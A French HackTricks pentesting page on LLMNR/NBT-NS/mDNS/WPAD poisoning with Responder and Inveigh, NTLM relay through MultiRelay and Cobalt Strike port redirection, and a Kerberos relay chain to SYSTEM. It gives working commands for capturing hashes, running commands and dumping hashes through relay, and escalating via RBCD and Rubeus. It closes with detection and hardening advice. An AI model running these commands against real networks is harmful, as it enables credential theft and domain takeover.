Spoofing LLMNR, NBT-NS, mDNS/DNS et WPAD et Attaques de Relay
Reading time: 12 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Protocoles Réseau
Protocoles de Résolution de Nom Local
- LLMNR, NBT-NS, et mDNS :
- Microsoft et d'autres systĂšmes d'exploitation utilisent LLMNR et NBT-NS pour la rĂ©solution de noms locaux lorsque DNS Ă©choue. De mĂȘme, les systĂšmes Apple et Linux utilisent mDNS.
- Ces protocoles sont susceptibles d'interception et de spoofing en raison de leur nature non authentifiée et de diffusion sur UDP.
- Responder peut ĂȘtre utilisĂ© pour usurper des services en envoyant des rĂ©ponses falsifiĂ©es aux hĂŽtes interrogeant ces protocoles.
- Des informations supplĂ©mentaires sur l'usurpation de services utilisant Responder peuvent ĂȘtre trouvĂ©es ici.
Protocole de Découverte Automatique de Proxy Web (WPAD)
- WPAD permet aux navigateurs de découvrir automatiquement les paramÚtres de proxy.
- La découverte est facilitée via DHCP, DNS, ou un retour à LLMNR et NBT-NS si DNS échoue.
- Responder peut automatiser les attaques WPAD, dirigeant les clients vers des serveurs WPAD malveillants.
Responder pour le Poisoning de Protocole
- Responder est un outil utilisĂ© pour empoisonner les requĂȘtes LLMNR, NBT-NS, et mDNS, rĂ©pondant sĂ©lectivement en fonction des types de requĂȘtes, ciblant principalement les services SMB.
- Il est prĂ©installĂ© dans Kali Linux, configurable Ă
/etc/responder/Responder.conf
. - Responder affiche les hachages capturés à l'écran et les enregistre dans le répertoire
/usr/share/responder/logs
. - Il prend en charge Ă la fois IPv4 et IPv6.
- La version Windows de Responder est disponible ici.
Exécution de Responder
- Pour exécuter Responder avec les paramÚtres par défaut :
responder -I <Interface>
- Pour un probing plus agressif (avec des effets secondaires potentiels) :
responder -I <Interface> -P -r -v
- Techniques pour capturer les défis/réponses NTLMv1 pour un craquage plus facile :
responder -I <Interface> --lm --disable-ess
- L'usurpation WPAD peut ĂȘtre activĂ©e avec :
responder -I <Interface> --wpad
- Les requĂȘtes NetBIOS peuvent ĂȘtre rĂ©solues Ă l'IP de l'attaquant, et un proxy d'authentification peut ĂȘtre mis en place :
responder.py -I <interface> -Pv
Poisoning DHCP avec Responder
- Le spoofing des réponses DHCP peut empoisonner de maniÚre permanente les informations de routage d'une victime, offrant une alternative plus discrÚte au poisoning ARP.
- Cela nécessite une connaissance précise de la configuration du réseau cible.
- Exécution de l'attaque :
./Responder.py -I eth0 -Pdv
- Cette méthode peut capturer efficacement les hachages NTLMv1/2, mais nécessite une manipulation soigneuse pour éviter toute perturbation du réseau.
Capture de Credentials avec Responder
- Responder usurpera des services en utilisant les protocoles mentionnés ci-dessus, capturant des credentials (généralement NTLMv2 Challenge/Réponse) lorsqu'un utilisateur tente de s'authentifier contre les services usurpés.
- Des tentatives peuvent ĂȘtre faites pour rĂ©trograder Ă NetNTLMv1 ou dĂ©sactiver ESS pour un craquage de credentials plus facile.
Il est crucial de noter que l'utilisation de ces techniques doit ĂȘtre effectuĂ©e lĂ©galement et Ă©thiquement, en s'assurant d'une autorisation appropriĂ©e et en Ă©vitant toute perturbation ou accĂšs non autorisĂ©.
Inveigh
Inveigh est un outil pour les testeurs de pĂ©nĂ©tration et les Ă©quipes rouges, conçu pour les systĂšmes Windows. Il offre des fonctionnalitĂ©s similaires Ă Responder, effectuant des attaques de spoofing et de man-in-the-middle. L'outil a Ă©voluĂ© d'un script PowerShell Ă un binaire C#, avec Inveigh et InveighZero comme versions principales. Des paramĂštres dĂ©taillĂ©s et des instructions peuvent ĂȘtre trouvĂ©s dans le wiki.
Inveigh peut ĂȘtre utilisĂ© via PowerShell :
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
Ou exécuté en tant que binaire C#:
Inveigh.exe
NTLM Relay Attack
Cette attaque exploite les sessions d'authentification SMB pour accéder à une machine cible, accordant un shell systÚme si elle réussit. Les prérequis clés incluent :
- L'utilisateur authentifié doit avoir un accÚs Admin Local sur l'hÎte relayé.
- La signature SMB doit ĂȘtre dĂ©sactivĂ©e.
445 Port Forwarding and Tunneling
Dans les scĂ©narios oĂč l'introduction directe dans le rĂ©seau n'est pas faisable, le trafic sur le port 445 doit ĂȘtre redirigĂ© et tunnelĂ©. Des outils comme PortBender aident Ă rediriger le trafic du port 445 vers un autre port, ce qui est essentiel lorsque l'accĂšs admin local est disponible pour le chargement de pilotes.
PortBender setup and operation in Cobalt Strike:
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)
beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080
# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop
Autres Outils pour l'Attaque de Relais NTLM
- Metasploit : Configuré avec des proxies, des détails sur les hÎtes locaux et distants.
- smbrelayx : Un script Python pour relayer les sessions SMB et exécuter des commandes ou déployer des portes dérobées.
- MultiRelay : Un outil de la suite Responder pour relayer des utilisateurs spécifiques ou tous les utilisateurs, exécuter des commandes ou extraire des hachages.
Chaque outil peut ĂȘtre configurĂ© pour fonctionner via un proxy SOCKS si nĂ©cessaire, permettant des attaques mĂȘme avec un accĂšs rĂ©seau indirect.
Fonctionnement de MultiRelay
MultiRelay est exécuté depuis le /usr/share/responder/tools répertoire, ciblant des IP ou des utilisateurs spécifiques.
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
# Proxychains for routing traffic
Ces outils et techniques forment un ensemble complet pour mener des attaques de relais NTLM dans divers environnements réseau.
Forcer les connexions NTLM
Sous Windows, vous pouvez ĂȘtre en mesure de forcer certains comptes privilĂ©giĂ©s Ă s'authentifier sur des machines arbitraires. Lisez la page suivante pour apprendre comment :
Force NTLM Privileged Authentication
Attaque de relais Kerberos
Une attaque de relais Kerberos vole un ticket AP-REQ d'un service et le rĂ©utilise contre un second service qui partage la mĂȘme clĂ© de compte d'ordinateur (car les deux SPN se trouvent sur le mĂȘme compte d'ordinateur $
). Cela fonctionne mĂȘme si les classes de service des SPN diffĂšrent (par exemple, CIFS/
â LDAP/
) car la clĂ© qui dĂ©chiffre le ticket est le hachage NT de la machine, et non la chaĂźne SPN elle-mĂȘme, et la chaĂźne SPN ne fait pas partie de la signature.
Contrairement au relais NTLM, le saut est limitĂ© Ă la mĂȘme hĂŽte, mais si vous ciblez un protocole qui vous permet d'Ă©crire sur LDAP, vous pouvez enchaĂźner vers la DĂ©lĂ©gation Contraignante BasĂ©e sur les Ressources (RBCD) ou l'enrĂŽlement AD CS et obtenir NT AUTHORITY\SYSTEM en un seul coup.
Pour des informations détaillées sur cette attaque, consultez :
-
https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html
-
https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/
-
- Bases de Kerberos
Token | But | Pertinence du relais |
---|---|---|
TGT / AS-REQ â REP | Prouve l'utilisateur au KDC | intact |
Ticket de service / TGS-REQ â REP | LiĂ© Ă un SPN ; chiffrĂ© avec la clĂ© du propriĂ©taire du SPN | interchangeable si les SPN partagent le compte |
AP-REQ | Le client envoie TGS au service | ce que nous volons et rejouons |
- Les tickets sont chiffrés avec la clé dérivée du mot de passe du compte qui possÚde le SPN.
- L'Authentificateur Ă l'intĂ©rieur de l'AP-REQ a un horodatage de 5 minutes ; la relecture Ă l'intĂ©rieur de cette fenĂȘtre est valide jusqu'Ă ce que le cache de service voie un duplicata.
- Windows vérifie rarement si la chaßne SPN dans le ticket correspond au service que vous atteignez, donc un ticket pour
CIFS/HOST
se déchiffre normalement bien surLDAP/HOST
.
-
- Ce qui doit ĂȘtre vrai pour relayer Kerberos
- ClĂ© partagĂ©e : les SPN source et cible appartiennent au mĂȘme compte d'ordinateur (par dĂ©faut sur les serveurs Windows).
- Pas de protection de canal : SMB/LDAP désactivé et EPA désactivé pour HTTP/LDAPS.
- Vous pouvez intercepter ou contraindre l'authentification : poison LLMNR/NBNS, spoof DNS, PetitPotam / DFSCoerce RPC, faux AuthIP, DCOM malveillant, etc.
- Source du ticket non dĂ©jĂ utilisĂ©e : vous gagnez la course avant que le vrai paquet n'atteigne ou le bloquez entiĂšrement ; sinon, le cache de relecture du serveur dĂ©clenche l'ĂvĂ©nement 4649.
- Vous devez d'une maniĂšre ou d'une autre ĂȘtre capable d'effectuer un MitM dans la communication, peut-ĂȘtre en faisant partie du groupe DNSAmins pour modifier le DNS du domaine ou en Ă©tant capable de changer le fichier HOST de la victime.
Ătapes de relais Kerberos
- 3.1 ReconnaĂźtre l'hĂŽte
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
- 3.2 Démarrer l'écouteur de relais
# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
KrbRelayUp
encapsule KrbRelay â LDAP â RBCD â Rubeus â contournement SCM dans un seul binaire.
- 3.3 Forcer l'authentification Kerberos
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
DFSCoerce fait en sorte que le DC nous envoie un ticket Kerberos CIFS/DC01
.
- 3.4 Relayer l'AP-REQ
KrbRelay extrait le blob GSS de SMB, le reconditionne en un bind LDAP et le transfĂšre Ă ldap://DC01
âl'authentification rĂ©ussit car la mĂȘme clĂ© le dĂ©chiffre.
- 3.5 Abuser de LDAP â RBCD â SYSTEM
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe
Vous possédez maintenant NT AUTHORITY\SYSTEM.
D'autres chemins Ă connaĂźtre
Vecteur | Astuce | Pourquoi c'est important |
---|---|---|
AuthIP / IPSec | Un faux serveur envoie une charge utile GSS-ID avec n'importe quel SPN ; le client construit un AP-REQ directement vers vous | Fonctionne mĂȘme Ă travers des sous-rĂ©seaux ; les identifiants de machine par dĂ©faut |
DCOM / MSRPC | Un rĂ©solveur OXID malveillant force le client Ă s'authentifier Ă un SPN et un port arbitraires | ĂlĂ©vation de privilĂšges locale pure ; contourne le pare-feu |
AD CS Web Enroll | Relayer le ticket machine vers HTTP/CA et obtenir un certificat, puis PKINIT pour créer des TGT | Contourne les défenses de signature LDAP |
Shadow Credentials | Ăcrire msDS-KeyCredentialLink , puis PKINIT avec une paire de clĂ©s forgĂ©e | Pas besoin d'ajouter un compte d'ordinateur |
Dépannage
Erreur | Signification | Correction |
---|---|---|
KRB_AP_ERR_MODIFIED | ClĂ© de ticket â clĂ© cible | Mauvais hĂŽte/SPN |
KRB_AP_ERR_SKEW | Horloge > 5 min de décalage | Synchroniser l'heure ou utiliser w32tm |
Ăchec de liaison LDAP | Signature appliquĂ©e | Utiliser le chemin AD CS ou dĂ©sactiver la signature |
Spam d'événement 4649 | Le service a vu un Authenticator en double | bloquer ou faire la course avec le paquet original |
Détection
- Augmentation de l'événement 4769 pour
CIFS/
,HTTP/
,LDAP/
provenant de la mĂȘme source en quelques secondes. - L'Ă©vĂ©nement 4649 sur le service indique qu'un replay a Ă©tĂ© dĂ©tectĂ©.
- Une connexion Kerberos depuis 127.0.0.1 (relai vers SCM local) est trĂšs suspecteâcartographier via la rĂšgle Sigma dans la documentation de KrbRelayUp.
- Surveiller les changements des attributs
msDS-AllowedToActOnBehalfOfOtherIdentity
oumsDS-KeyCredentialLink
.
Renforcement
- Appliquer la signature LDAP & SMB + EPA sur chaque serveur.
- SĂ©parer les SPNs afin que HTTP ne soit pas sur le mĂȘme compte que CIFS/LDAP.
- Corriger les vecteurs de coercition (PetitPotam KB5005413, DFS, AuthIP).
- Définir
ms-DS-MachineAccountQuota = 0
pour arrĂȘter les ajouts de machines non autorisĂ©es. - Alerter sur l'Ă©vĂ©nement 4649 et les connexions Kerberos de boucle locale inattendues.
Références
- https://intrinium.com/smb-relay-attack-tutorial/
- https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/
- https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/
- https://intrinium.com/smb-relay-attack-tutorial/
- https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.